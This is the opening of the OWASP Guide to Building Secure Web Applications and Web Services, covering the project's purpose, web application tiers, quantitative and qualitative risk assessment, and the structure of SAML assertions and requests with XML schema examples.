A Guide to Building Secure Web Applications and Web Services

The Open Web Application Security Project

by Mark Curphey, David Endler, William Hau, Steve Taylor, Tim Smith, Gene McKenna, Adrian Wiesmann, Abraham Kang, Christopher Todd, Mikael Simonsson, Jeremy Poteet, and Michael Hill

A Guide to Building Secure Web Applications and Web Services: The Open Web Application Security Project

by Mark Curphey, David Endler, William Hau, Steve Taylor, Tim Smith, Gene McKenna, Adrian Wiesmann, Abraham Kang, Christopher Todd, Mikael Simonsson, Jeremy Poteet, and Michael Hill

Table of Contents

List of Tables

Part I. A Guide to Building Secure Web Applications and Web Services

Table of Contents

Chapter 1. Introduction

Mark Curphey

Foreword

We all use web applications everyday whether we consciously know it or not. That is, all of us who browse the web. The ubiquity of web applications is not always apparent to the everyday web user. When one visits cnn.com and the site automagically knows you are a US resident and serves you US news and local weather, it's all because of a web application. When you transfer money, search for a flight, check out arrival times or even the latest sports scores online, you are using a web application. Web Applications and Web Services (inter-web applications) are what drive the current iteration of the web and are evolving to serve new platforms and new devices with an ever-expanding array of information and services.

The last two years have seen a significant surge in the amount of web application specific vulnerabilities that are disclosed to the public. No web application technology has shown itself invulnerable, and discoveries are made every day that affect both owners' and users' security and privacy.

Security professionals have traditionally focused on network and operating system security. Assessment services have relied heavily on automated tools to help find holes in those layers. Today's needs are different, and different tools are needed. Despite this, the basic tennants of security design have not changed. This document is an attempt to reconcile the lessons learned in past decades with the unique challenges that the web provides.

While this document doesn't provide a silver bullet to cure all the ills, we hope it goes a long way in taking the first step towards helping people understand the inherent problems in web applications and build more secure web applications and web services in the future.

This version 2.0 is a significant improvement over the initial release and a major milestone. Not only is the content more eloquently laid out and significantly better written but the original content has been significantly expanded to cover web services, XML, Microsoft's .NET and Java. You can now find extensive practical code samples for the Java and PHP languages and a much improved common problems chapter. You may also be reading this document in a printed published book, proof itself that open source documents really are commercially viable.

Personally I am very proud to be a part of OWASP. There are many talented people involved who are a pleasure to work with and learn from. It's a truly fun and very rewarding project for all involved performing an important fucntion in this digital age.

Enjoy,

Mark Curphey, OWASP Founder and Project Leader

About The Open Web Application Security Project

The Open Web Application Security Project (OWASP) was started in September 2001 by Mark Curphey and now has over 40 active contributors from around the world. OWASP is a "not for profit" open source reference point for system architects, developers, vendors, consumers and security professionals involved in Designing, Developing, Deploying and Testing the security of web applications and Web Services. In short, the Open Web Application Security Project aims to help everyone and anyone build more secure web applications and Web Services. OWASP projects are broadly divided into two main categories, development projects and documentation projects.

Our development projects currently consist of WebScarab - a web application vulnerability assessment suite including proxy tools, Filters - generic security boundary filters that developers can use in their own applications, CodeSeeker - an commercial quality application level firewall and Intrusion Detection System that runs on Windows and Linux and supports IIS, Apache and iPlanet web servers, WebGoat - an interactive training and benchmarking tool

that users can learn about web application security in a safe and legal environment and the OWASP Portal - our own Java based portal code designed with security as a prime concern. We are also developing a Model View Controller framework for the .NET platform. All software and documentation is open source under the GNU Public License and copyrighted to the Free Software Foundation so that the community can contribute without the fear of exploitation.

Our documentation projects currently consist of this Guide and Testing - a web site security testing methodology and framework.

We also have one significant project that spans both our development projects and documentation projects called VulnXML. VulnXML is an XML file format for describing web application security vulnerabilities which can be used in a number of commercial and open source tools to check for specific problems. OWASP has developed a web based VulnXML database where the community can submit checks which are QA'd by the OWASP team before being released into a production feed.

Purpose Of This Document

While several good documents are available to help developers write secure code, at the time of this project's innception there were no open source documents that described the wider technical picture of building appropriate security into web applications and web services. This document sets out to describe technical components, and certain people, process, and management issues that are needed to design, build and maintain a secure web application or web service. This is maintained as an ongoing exercise and expanded as time permits and the need arises.

Intended Audience

Any document about building secure web applications clearly will have a large degree of technical content and address a technically oriented audience. We have deliberately not omitted technical detail that may scare some readers. However, throughout this document we have sought to refrain from "technical speak for the sake of technical speak" wherever possible.

How to Use This Document

This document is a designed to be used by as many people and in as many inventive ways as possible. While sections are logically arranged in a specific order, they can also be used alone or in conjunction with other discrete sections.

Here are just a few of the ways we envisage it being used:

Designing Systems

When designing a system the system architect can use the document as a template to ensure he or she has thought about the implications that each of the sections described could have on the target system.

Evaluating Vendors of Services

When engaging professional services companies for web application security design or testing, it is extremely difficult to accurately gauge whether the company or its staff are qualified and if they intend to cover all of the items necessary to ensure an application (a) meets the security requirements specified or (b) will be tested adequately. We envisage companies being able to use this document to evaluate proposals from security consulting companies to determine whether they will provide adequate coverage in their work. Companies may also request services based on the sections specified in this document. If a company doesn't agree with the widely recognized and community derived best practices set out in this document (or hasn't even read it) you may want to reconsider the services!

Testing Systems

We anticipate security professionals and systems owners using this document as a template for testing. By a tem-

plate we refer to using the sections outlined as a checklist or as the basis of a testing plan. Sections are split into a logical order for this purpose. Testing without requirements is of course an oxymoron. What do you test against? What are you testing for? If this document is used in this way, we anticipate a functional questionnaire of system requirements to drive the process. As a complement to this document, the OWASP Testing Framework group is working on a comprehensive web application methodology that covers both "white box" (source code analysis) and "black box" (penetration test) analysis.

What This Document Is Not

This document is most definitely not a silver bullet! Web applications and services are almost all unique in their design and in their implementation. By covering all items in this document it may still be possible that you will have significant security vulnerabilities that have not been addressed. In short, implementing this document is no guarantee of security. It may also not cover items that are important to you and your application environment. However, we do think it will go a long way toward helping the audience achieve their desired state.

How to Contribute and Feedback

If you are a subject matter expert, feel there is a topic you would like included or that can be improved and are volunteering to author or are able to edit this document in any way, we want to hear from you. All content must be original and the copyright assigned to the Free Software Foundation. The document is produced using DocBook at Sourceforge and you should ideally be able to use CVS over SSH to submit your content. In some case we can do this for you. Please email guide-editors@owasp.org with your Sourceforge ID, your ideas and some background information on you or your company. You can also view the project mailing list archives at http://www.sourceforge.net/projects/owasp/

Chapter 2. Overview

Mark Curphey
Adrian Wiesmann

What Are Web Applications?

In its most basic form a web application is a client/server software application that interacts with users or other systems using HTTP. For a user the client is most likely be a web browser like Microsoft Internet Explorer or Netscape Navigator; for another software application this would be an HTTP user agent that acts as a browser on behalf of the system. The end user views web pages and is able to interact by sending choices to and from the system. The functions performed can range from relatively simple tasks like reading content or searching a local directory for a file or reference, to highly sophisticated applications that perform real-time sales and inventory management across multiple business partners. The technology behind web applications has developed at the speed of light. Traditionally simple applications were built with a common gateway interface application (CGI) often written in C or Perl and typically running on the web server itself that maybe connected to a simple database (again often on the same host). Modern enterprise web applications typically are written in Java (or similar languages) and run on distributed application servers, connecting to multiple data sources through complex business logic tiers. They can consist of hundreds or thousands of servers each performing specific tasks or fucntions.

There is a lot of confusion about what a web application actually consists of and where the security problems lie. While it is true that the problems so often discovered and reported are product specific, they are often logic and design flaws in the application, and not necessarily flaws in the underlying web products or technology.

It can help to think of a web application as being made up of three logical tiers or functions.

Presentation Tiers are responsible for presenting the data to the end user or system. The web server serves up data and the web browser renders it into a readable form, which the user can then interpret. It also allows the user to interact by sending back parameters, which the web server can pass along to the application. This "Presentation Tier" includes web servers like Apache and Microsofts Internet Information Server and web browsers like Internet Explorer and Netscape Navigator. It may also include application components that create the page layout.

The Application Tier is the "engine" of a web application. It performs the business logic; processing user input, making decisions, obtaining more data and presenting data to the Presentation Tier to send back to the user. The Application Tier may include technology like CGI's, Java (J2EE), or .NET services deployed in products like IBM WebSphere, BEA WebLogic or Apache Tomcat.

A Data Tier is used to store things needed by the application and acts as a repository for both temporary and permanent data. It is the bank vault of a web application. Modern systems are typically now storing data in XML format for interoperability with other system and sources.

Of course, small applications may consist of a simple C CGI program running on a local host, reading or writing files to disk.

What Are Web Services?

Web Services are receiving a lot of press attention. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications.

A Web Service is a collection of functions that are packaged as a single entity and published to the network for use by other programs. Web services are building blocks for creating open distributed systems, and allow companies and individuals to quickly and cheaply make their digital assets available worldwide. One early example is Microsoft

Passport, but many others such as Project Liberty are emerging. One Web Service may use another Web Service to build a richer set of features to the end user. Web services for car rental or air travel are examples. In the future applications may be built from Web services that are dynamically selected at runtime based on their cost, quality, and availability.

The power of Web Services comes from their ability to register themselves as being available for use using WSDL (Web Services Description Language) and UDDI (Universal Description, Discovery and Integration). Web services are based on XML (extensible Markup Language) and SOAP (Simple Object Access Protocol). Web services allow one application to communicate with another using standards based technology and build richer applications.

Despite whether you see the difference between sophisticated web applications and web services, it is clear that these emerging systems will face the same security issues as traditional web applications.

Chapter 3. How Much Security Do You Really Need?

Tim Smith

When one talks about security of web applications, a prudent question to pose is "how much security does this project require?" Software is generally created with functionality first in mind and with security as a distant second or third. This is an unfortunate reality in many development shops. Designing a web application is an exercise in designing a system that meets a business need and not an exercise in building a system that is just secure for the sake of it. However, the application design and development stage is the ideal time to determine security needs and build assurance into the application. Prevention is better than cure, after all! Retrofitting security after the event is always an uphill struggle.

It is interesting to observe that most security products available today are mainly technical solutions that target a specific type of issue or problems or protocol weaknesses. They are products that rely purely on adding security onto existing infrastructure, including tools like application layer firewalls and host/network based Intrusion Detection Systems (IDS's). Imagine a world without firewalls (nearly drifted into a John Lennon song there); if there were no need to retrofit security, then significant cost savings and security benefits would prevail right out of the box. Of course, there are no silver bullets, and having multiple layers of security (otherwise known as "defense in depth") often makes sense but fundamentally, security starts at the application layer, not at layer two or three where most security solutions reside. Here lies the issue; this is where the paradigm shift needs to occur and as developers we should all be responsible for increasing this awareness within our organisations and also the suppliers we purchase software off.

So how do you figure out how much security is appropriate and needed? How do we determine what the requirments are or indeed what the risks are to the way we develop our applications? Should we only concern ourselves with issues associated with financial transaction? How much damage to our organisations reputation will be done if weaknesses are exposed in our code? Well, before we discuss that it is worth reiterating a few important points.

- Zero risk is not practical
- There are several ways to mitigate risk
- Don't spend a million bucks to protect a dime

People argue that the only secure host is one that's unplugged - air-gap security. Even if that were true, an unplugged host is of no functional use and so hardly a practical solution to the security problem. Zero risk is neither achievable nor practical. The goal should always be to determine what the appropriate level of security is for the application to function as planned in its environment. That process normally involves accepting risk. To accept risk, you need to be aware of the risks, threats and likelihood of a risk being exploited.

The second point is that there are many ways to mitigate risk. While this document focuses predominantly on technical countermeasures like selecting appropriate key lengths in cryptography or validating user input, managing the risk may involve accepting it or transferring it. Insuring against the threat occurring or transferring the threat to another application to deal with (such as a Firewall) may be appropriate options for some business models.

The third point is that designers need to understand what they are securing, before they can appropriately specify security controls. It is all too easy to start specifying levels of security before understanding if the application actually needs it. Determining what the core information assets are is a key task in any web application design process. It is the data that is being manipulated that is often overlooked;it is the level of protection that the application that manipulates the data offers that is the key. A bug in our software may well leave this data exposed; what would be the impact? Security is almost always an overhead, either in cost or performance but it is also an enabler - although there have been some published weaknesses in SSL of late, imagine how many financial transactions would be carried out without it.

What are Risks, Threats and Vulnerabilities?

Pronunciation Key

risk

(risk)

n.

1. The possibility of suffering harm or loss; danger.
2. A factor, thing, element, or course involving uncertain danger; a hazard: "the usual risks of the desert: rattlesnakes, the heat, and lack of water" (Frank Clancy).
3.
    a. The danger or probability of loss to an insurer.
    b. The amount that an insurance company stands to lose.
4.
    a. The variability of returns from an investment.
    b. The chance of nonpayment of a debt.
5. One considered with respect to the possibility of loss: a poor risk.

threat

n.

1. An expression of an intention to inflict pain, injury, evil, or punishment.
2. An indication of impending danger or harm.
3. One that is regarded as a possible danger; a menace.

vul-ner-a-ble

adj.

1.
    a. Susceptible to physical or emotional injury.
    b. Susceptible to attack: "We are vulnerable both by water and land, without either fleet or army" (Alexander Hamilton).
    c. Open to censure or criticism; assailable.
2.
    a. Liable to succumb, as to persuasion or temptation.
    b. Games. In a position to receive greater penalties or bonuses in a hand of bridge. In a rubber, used of the pair of players who score 100 points toward game.

An attacker (the "Threat") can exploit a Vulnerability (security bug in an application). Collectively this is a Risk.

Measuring the Risk

While we firmly believe measuring risk is more art than science, it is nevertheless an important part of designing the overall security of a system. How many times have you been asked the question "Why should we spend X dollars on this?" Well, even at the early stage of development you should also factor in how critical this application is going to be to the business; if you're moving to or replacing a traditional payment method with an online service the unavailability of the application could be catastrophic to your business. So, even at the first stages, it is prudent to perfomr a

Business Impact Analysis to determine the availability requirements for the application are - availability comes down to risk as well. Measuring risk generally takes either a qualitative or a quantitative approach.

A quantitative approach is usually more applicable in the realm of physical security or specific asset protection. Whichever approach is taken,a successful assessment of the risk is always dependent on asking the right questions. Much the same as an application, the process is only as good as its input.

A typical quantitative approach as described below can help analysts try to determine a dollar value of the assets (Asset Value or AV), associate a frequency rate (or Exposure Factor or EF) that the particular asset may be subjected to, and consequently determine a Single Loss Expectancy (SLE). From an Annualized Rate of Occurrence (ARO) you can determine the Annualized Loss Expectancy (ALE) of a particular asset and obtain a meaningful value for it.

Let's explain this in detail:

AV x EF = SLE

If our Asset Value is $1000 and our Exposure Factor (% of loss a realized threat could have on an asset) is 25% then we come out with the following figures:

$1000 x 25% = $250

So, our SLE is $250 per incident. To extrapolate that over a year we can apply another formula:

SLE x ARO = ALE (Annualized Loss Expectancy)

The ALE is the possibility of a specific threat taking place within a one-year time frame. You can define your own range, but for convenience sake let's say that the range is from 0.0 (never) to 1.0 (always). Working on this scale an ARO of 0.1 would indicate that the ARO value is once every ten years. So, going back to our formula, we have the following inputs:

SLE ($250) x ARO (0.1) = $25 (ALE)

Therefore, the cost of the risk to us on this particular asset per annum is $25. The benefits to us are obvious, we now have a tangible (or at the very least semi-tangible) cost to associate with protecting the asset. To protect the asset, we can put a safeguard in place up to the cost of $25 / annum.

Quantitative risk assessment is simple, eh? Well, sure, in theory, but actually coming up with those figures in the real world can be daunting and it does not naturally lend itself to software principles. The model described before was also overly simplified. A more realistic technique might be to take a qualitative approach. Qualitative risk assessments don't produce values or definitive answers. They help a designer or analyst narrow down scenarios and document thoughts through a logical process. We all typically undertake quantitative analysis in our minds on a regular basis.

Typically questions may include:

- Do the threats come from external or internal parties?
- What would the impact be if the software is unavailable?
- What would be the impact if the system is compromised?
- Is it a financial loss or one of reputation?
- Would users actively look for bugs in the code to use to their advantage or can our licensing model prevent them from publishing them?
- What logging is required?
- What would the motivation be for people to try to break it (e.g. financial application for profit, marketing application for user database, etc.)

Tools such as the CERIAS CIRDB project (https://cirdb.cerias.purdue.edu/website) can significantly assist in the task of collecting good information incident related costs. The development of threat trees and workable security policies is a natural outgrowth of the above questions and should be developed for all critical systems.

Qualitative risk assessment is essentially not concerned with a monetary value but with scenarios of potential risks and ranking their potential to do harm. Qualitative risk assessments are subjective!

Chapter 4. Authentication

Abraham Kang <abrahamkang@earthlink.net>
Andrew van der Stock van der Stock <ajv@greebo.net>

SAML

SAML stands for Security Assertions Markup Language. SAML provides an interoperable XML schema for exchanging authentication, authorization, and user attribute related information. It allows different security infrastructures and applications to shared authentication, authorization, and attribute related information. SAML is important because it is the first time that all of the major vendors (IBM, Microsoft, Oracle, Sun, BEA, SAP, etc.) have come together to support a single security standard.

SAML is made up of three parts. The first part is the SAML element schema, which represents authentication, authorization, and user attribute related information. The second part is the XML schema that defines the SAML protocol in which the authentication, authorization, and user attribute related information is requested and supplied. The third part represents the SAML profiles and bindings. A SAML profile describes the rules used to extract and embed SAML Assertions into a framework or protocol. SAML Bindings explain how SAML messages work with standard messaging or communication protocols. Although it is important to understand which elements go where and what each element represents it is import to first get the big picture. Lets look at the actual scenarios where SAML can be used.

SAML Usage Senarios

In order to understand the usage scenarios we will need to go over some vocabulary. Authorities are the sites or entities that hold user related information, or the sites the user has authenticated to. There are three types of Authorities: Attribute, Authentication, and Authorization. An Attribute authority could provide credit limit information. An Authentication authority would provide information on when a user was authenticated and by what means. An Authorization authority could vouch for different access rights that an authenticated user possesses.

SSO Pull Scenario

In this scenario the user has already authenticated to a Web site (Attribute and Authentication Authority) and is trying to access a partner site (Policy Decision Point and Policy Enforcement Point). All of the links to the partner site reference an inter-site transfer URL. When the user clicks the URL to the partner site, the source site receives the request (through the inter-site URL) and places an artifact in the HTTP 302 response or places an assertion in the HTML page returned. The user is then redirected to the destination siteÂ's artifact or assertion consumer URL. The destination verifies the artifact or assertion and returns the requested HTML resource.

Distributed Transaction Scenario

Basically a SOAP client authenticates to a SOAP service that participates within a set of loosely couple B2B Web Service Supply Chain Services. A supplier or buyer has to only setup their contractual agreements once and can seamlessly access all other member Web Service interfaces to buy and sell products. Within the supply chain consortium there is a centralized Authentication, Authorization, and Attribute Authority. All members initially login to this service and receive the associated Assertions to interact with other supply chain partners. Whenever a user wants to create a transaction with another partner they attach their assertion to the transaction request. The receiver then confirms the assertion with the centralized authority or verifies and accepts the assertion if the assertion is signed. After confirming the request a response is sent to the message initiator to confirm or deny the transaction.

A different spin of this is where the user authenticates to a site, which can make orders on behalf of the logged in user at another site. When a user needs to initiate a transaction at the partner site, the appropriate assertions are gen-

erated and sent to the other site on behalf of the user. The assertions are used to validate the user credentials, credit limits, and commit the transaction.

Now that you understand where SAML can be used, lets look at the core SAML elements that define the authentication, authorization, and user attribute related information.

SAML Assertions

The Assertion element represents the core container element within SAML. The Assertion element is the main element because is represents a statement of proof about a Subject. Assertions hold any number of three different "Statement" types. The "Statement" types (Authentication, Attribute, and AuthorizationDecision) correspond with the three different types of information that can be conveyed between an "Asserting" and "Relying" (RP) party. A "Relying" party requests authentication, authorization, and attribute related information from an "Asserting" party (AP). A "Relying" party relies on the assertions provided by the "Asserting" party to make authentication, authorization, and attribute related decisions. "Asserting" parties are also referred to as Authorities. The different types of information that can be passed between a RP and AP also categorize authorities. Authorities can be any combination of Authentication, Authorization, and Attribute Authorities.

A SAML Assertion is made up of required and optional elements and attributes. The mandatory attributes are:

- AssertionID -- The AssertionID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Assertions.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- Issuer -- String that represents the issuer of the assertion (authority). This can be any string that is known to identify the Issuer of the Assertion.
- IssueInstant -- The date and time in UTC format when the assertion was created. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The optional elements are:

1. Conditions:

   Give additional restrictions on determining the validity of an assertion. The attributes of the saml:Conditions element define the validity period using NotBefore and NotOnOrAfter attribute. If there is a saml:Conditions element with no sub elements or attributes then the assertion is valid without further investigation. If the saml:Conditions element has nested saml:Condition elements then the validity of the assertion is based on the folowing rules:

   a. If any saml:Condition or saml:AudienceRestrictionCondition element within the saml:Conditions element is invalid or if the current dateTime falls outside of the NotBefore or NotOnOrAfter attributes then the assertion is invalid.

   b. If any saml:Condition or saml:AudienceRestrictionCondition element within the saml:Conditions element cannot be verified as valid or invalid then the Assertion is Indeterminate.

   c. Only when all saml:Condition and/or saml:AudienceRestrictionCondition elements nested within the saml:Conditions element are valid is the Assertion valid.

2. Advice:

   Holds additional information that the issuer wishes to provide in the form of any number of saml:AssertionIDReference, saml:Assertion, and/or any valid and well formed XML element that’s namespace

resides outside the target namespace (<any namespace="##other" processContents="lax"/>).

3. Statement Type

   Any mix of one or more saml:Statement types (saml:Statement, saml:SubjectStatement, saml:AuthenticationStatement, saml:AuthorizationDecisionStatement, saml:AttributeStatement).

   a. The saml:Statement's type serves as a base type to extend from when you want to create your Statement types. The saml:Statement element does not define any nested elements or attributes and therefore have little practical value on its own. Here is the XML schema that describes this element:

```
<element name="Statement" type="saml:StatementAbstractType"/>
<complexType name="StatementAbstractType" abstract="true"/>
```

   b. The saml:SubjectStatement's type serves as a base type to extend from when you want to create your SubjectStatement types. The only difference between a saml:Statement and saml:SubjectStatement is that the saml:SubjectStatement has a nested saml:Subject element. Here is the XML Schema that describes this element:

```
<element name="SubjectStatement"
     type="saml:SubjectStatementAbstractType" />
<complexType name="SubjectStatementAbstractType" abstract="true">
<complexContent>
<extension base="saml:StatementAbstractType">
<sequence>
<element ref="saml:Subject" />
</sequence>
</extension>
</complexContent>
</complexType>
```

   c. The saml:AuthenticationStatement can be extended but it is typically used as-is. A saml:AuthenticationStatement asserts that a subject was authenticated using a specific method (Kerberos, password, X509 Cert, etc.) at a specific time. Here is a sample assertion with a saml:AuthenticationStatement:

```
<saml:Assertion ...>
<saml:AuthenticationStatement
   AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password"
   AuthenticationInstant="2003-12-03T10:02:00Z">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
</saml:AuthenticationStatement>
</saml:Assertion>
```

   d. The saml:AttributeStatement can also be extended but it is typically used as-is. The saml:AttributeStatement asserts that a subject has a set of attributes (A,B,C,etc.) with associated values ("a","b","c",etc.). Here is an example:

```
<saml:Assertion ...>
<saml:AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifer="smithco.com">joeuser@smithco.com
   </saml:NameIdentifier>
</saml:Subject>
<saml:Attribute AttributeName="Department"
AttributeNamespace="http://smithco.com">
   <saml:AttributeValue>
   Engineering
   </saml:AttributeValue>
</saml:Attribute>
<saml:Attribute
AttributeName="CreditLimit"
AttributeNamespace="http://smithco.com">
   <saml:AttributeValue>
      500.00
   </saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
```

e. The saml:AuthorizationDecisionStatement can also be extended but is typically used as-is. The saml:AuthorizationDecisionStatement asserts that a subject should be granted or denied access to a specific resource. Here is an example:

```
<saml:Assertion ...>
<saml:AuthorizationDecisionStatement
Decision="Permit"
Resource="http://jonesco.com/rpt_12345.htm">
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifer="smithco.com">joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:Actions
<saml:Action Namespace=
"urn:oasis:names:tc:SAML:1.0:action:rwedc">Read
</saml:Action>
</saml:Actions>
</saml:AuthorizationStatement>
</saml:Assertion>
```

SAML Protocol

The SAML Protocol is pretty simple. A relying party makes a request and an asserting party (Authority) provides the response. The Relying Party sends a samlp:Request to the Asserting Party. If successful, the Asserting Party includes an Assertion in the samlp:Response. If unsuccessful, the Asserting Party does NOT return an Assertion and returns the status instead.

The samlp:Request

The samlp:Request element is extended from the samlp:RequestAbstractType. XML extension allows a target XML element which gets its type from a parent base type to add additional attributes or elements to a defined child type which extends the parent base type as long as the instance of the target XML element specifies the child type as a xsi:type attribute (That was a mouthful. Look at the "Extending SAML Elements" section for an example). The

samlp:RequestAbstractType looks like the following:

```
<complexType name="RequestAbstractType" abstract="true">
<sequence>
<element ref="samlp:RespondWith" minOccurs="0" maxOccurs="unbounded"/>
<element ref = "ds:Signature" minOccurs="0"/>
</sequence>
<attribute name="RequestID" type="saml:IDType" use="required"/>
<attribute name="MajorVersion" type="integer" use="required"/>
<attribute name="MinorVersion" type="integer" use="required"/>
<attribute name="IssueInstant" type="dateTime" use="required"/>
</complexType>
```

The samlp:Request inherits four mandatory attributes and two optional elements from the RequestAbstractType. The samlp:Request is defined as follows:

```
<element name="Request" type="samlp:RequestType"/>
<complexType name="RequestType">
<complexContent>
<extension base="samlp:RequestAbstractType">
<choice>
<element ref="samlp:Query"/>
<element ref="samlp:SubjectQuery"/>
<element ref="samlp:AuthenticationQuery"/>
<element ref="samlp:AttributeQuery"/>
<element ref="samlp:AuthorizationDecisionQuery"/>
<element ref="saml:AssertionIDReference" maxOccurs="unbounded"/>
<element ref="samlp:AssertionArtifact" maxOccurs="unbounded"/>
</choice>
</extension>
</complexContent>
</complexType>
```

So the samlp:Request has all of the attributes and elements of the samlp:RequestAbstractType and only adds a choice of the following elements: samlp:Query, samlp:SubjectQuery, samlp:AuthenticationQuery, samlp:AttributeQuery, samlp:AuthorizationDecisionQuery, saml:AssertionIDReference (one or more) or samlp:AssertionArtifact (one or more). Lets look at the attributes and sub-elements in more detail.

The samlp:Request contains four mandatory attributes:

- RequestID -- The RequestID must be a globally unique identifier with less than 2^-128 (2^-160 recommended) probability of creating duplicates for different Requests.
- MajorVersion -- "1" for SAML 1.0
- MinorVersion -- "0" for SAML 1.0
- IssueInstant -- The date and time in UTC format when the request was initiated. UTC is sometimes called GMT. All time is relative to UTC (or GMT) and the format is "YYYY-MM-DDTHH:MM:SSZ". An example is "2003-01-04T14:36:04Z". T is the date time separator. Z stands for "Zulu" or GMT time zone.

The samlp:Request also has optional sub-elements:

1. samlp:RespondWith

   This allows you specify what type of Statement you are requesting. The only requirement is that you specify QNames. A QName is an XML element that includes its namespace prefix. The format of a QName is prefix:elementName. If you do not specify anything you will get all Statements that are associated with the subject that you are verifying. You can specify one or more of these. Here is an example:

```
<RespondWith>saml:AttributeStatement</RespondWith>
<RespondWith>saml:AuthenticationStatement</RespondWith>
```

2. ds:Signature

   This element allows you to sign the request to verify that the request was generated by a specific signer. Please refer to the chapter on XML Signature to get the details of this element.

Finally the samlp:Request has to have a Query or Assertion pointer associated with it. The Query has to determine what type of Statement to return so it mimics the saml:Statement element's hierarchy. The Assertion pointer is a reference to an AssertionID or Artifact. Here are the seven different Query types:

1. samlp:Query

   The Query element has a similar structure to the saml:Statement. The Query element is based on an abstract type, is empty, and is primarily used as an XML extension point. Here is XML Schema definition:

```
<element name="Query" type="samlp:QueryAbstractType"/>
<complexType name="QueryAbstractType" abstract="true"/>
```

2. samlp:SubjectQuery

   The SubjectQuery element has a similar structure to the saml:SubjectStatement. The SubjectQuery's type serves as a base type to extend from when you want to create your SubjectQuery types. The only difference between a samlp:Query and samlp:SubjectQuery is the samlp:SubjectQuery has a nested saml:Subject element. Here is XML Schema definition:

```
<element name="SubjectQuery" type="samlp:SubjectQueryAbstractType"/>
<complexType name="SubjectQueryAbstractType" abstract="true">
<complexContent>
<extension base="samlp:QueryAbstractType">
<sequence>
<element ref="saml:Subject"/>
</sequence>
</extension>
</complexContent>
</complexType>
```

3. samlp:AuthenticationQuery

   The AuthenticationQuery can be extended but it is typically used as-is. A samlp:AuthenticationQuery asks for all the Authentication Assertions related to a specific subject that define previous authentication acts between the specified subject and the Authentication authority. It looks just like a samlp:SubjectQuery but adds an optional samlp:AuthenticationMethod element that is of type anyURI. The samlp:AuthenticationMethod element serves as a filter and will only retrieve saml:AuthenticationStatements with the noted AuthenticationMethod. The authentcation method can be one of the following values:

```
urn:oasis:names:tc:SAML:1.0:am:password          (password)
urn:ietf:rfc:1510                                (kerberos)
urn:ietf:rfc:2945                                (Secure Remote Password)
```

```
urn:oasis:names:tc:SAML:1.0:am:HardwareToken     (Hardware token)
urn:ietf:rfc:2246                                (SSL/TLS Cert Authentication)
urn:oasis:names:tc:SAML:1.0:am:X509-PKI          (X509 Public Key)
urn:oasis:names:tc:SAML:1.0:am:PGP               (PGP Public Key)
urn:oasis:names:tc:SAML:1.0:am:SPKI              (SPKI Public Key)
urn:oasis:names:tc:SAML:1.0:am:XKMS              (XKMS Public Key)
urn:ietf:rfc:3075                                (XML Digital Signature)
urn:oasis:names:tc:SAML:1.0:am:unspecified       (unspecified)
```

Here is XML Schema definition:

```
<element name="AuthenticationQuery" type="samlp:AuthenticationQueryType"/>
<complexType name="AuthenticationQueryType">
<complexContent>
<extension base="samlp:SubjectQueryAbstractType">
<attribute name="AuthenticationMethod" type="anyURI"/>
</extension>
</complexContent>
</complexType>
```

Here is an example of an authentication query:

```
<samlp:Request MajorVersion="1" MinorVersion="0"
RequestID="128.14.234.20.12345678"
IssueInstant="2001-12-03T10:02:00Z">
<samlp:RespondWith>saml:AuthenticationStatement
</samlp:RespondWith>
<ds:Signature>...</ds:Signature>
<samlp:AuthenticationQuery>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress"
NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
</samlp:AuthenticationQuery>
</samlp:Request>
```

4. samlp:AttributeQuery

   The AttributeQuery can be extended but it is typically used as-is. A saml:AttributeQuery asks for the attributes related to a specific subject. It looks just like a samlp:SubjectQuery but adds an optional saml:AttributeDesignator element and an optional Resource attribute. The saml:AttributeDesignator acts as a filter in the same way the AuthenticationMethod worked. If no AttributeDesignator is mentioned then all attributes related to the subject are returned. The resource attribute allows you to tell the Attribute Authority that the attribute request is being made in response to a specific authorization decision relating to a resource. Here is the XML Schema:

```
<element name="AttributeQuery" type="samlp:AttributeQueryType"/>
<complexType name="AttributeQueryType">
<complexContent>
<extension base="samlp:SubjectQueryAbstractType">
<sequence>
<element ref="saml:AttributeDesignator"
minOccurs="0" maxOccurs="unbounded"/>
</sequence>
<attribute name="Resource" type="anyURI reference"
use="optional"/>
```

```
</extension>
</complexContent>
</complexType>
```

Just as a reminder here is the definition of saml:AttributeDesignator:

```
<element name="AttributeDesignator" type="saml:AttributeDesignatorType"/>
<complexType name="AttributeDesignatorType">
<attribute name="AttributeName" type="string" use="required"/>
<attribute name="AttributeNamespace" type="anyURI" use="required"/>
</complexType>
```

Here is an example of an AttributeQuery:

```
<samlp:Request...>
<samlp:AttributeQuery>
<saml:Subject>
<saml:NameIdentifier Format="#emailAddress" NameQualifier="smithco.com">
joeuser@smithco.com
</saml:NameIdentifier>
</saml:Subject>
<saml:AttributeDesignator AttributeName="PaidStatus"
AttributeNamespace="http://smithco.com"/>
</samlp:AttributeQuery>
</samlp:Request>
```

5. samlp:AuthorizationDecisionQuery

   The AuthorizationDecisionQuery can be extended but it is typically used as-is. A saml:AuthorizationDecisionQuery asks if a subject can execute certain actions on a specific resource given some evidence. It looks just like a samlp:SubjectQuery but adds a required saml:Action element, an optional saml:Evidence element, and an optional Resource attribute. The saml:Action defines what the subject wants to do. The saml:Evidence defines the additional Assertions that the subject is providing to the Authorization Authority to help it make its decision. The resource is an URI which defines the object that the authorization query is related to. Lets take a closer look at each of these elements. The saml:Action is defined as follows:

```
<element name="Action" type="saml:ActionType"/>
<complexType name="ActionType">
<simpleContent>
<extension base="string">
<attribute name="Namespace" type="anyURI"/>
</extension>
</simpleContent>
</complexType>
```

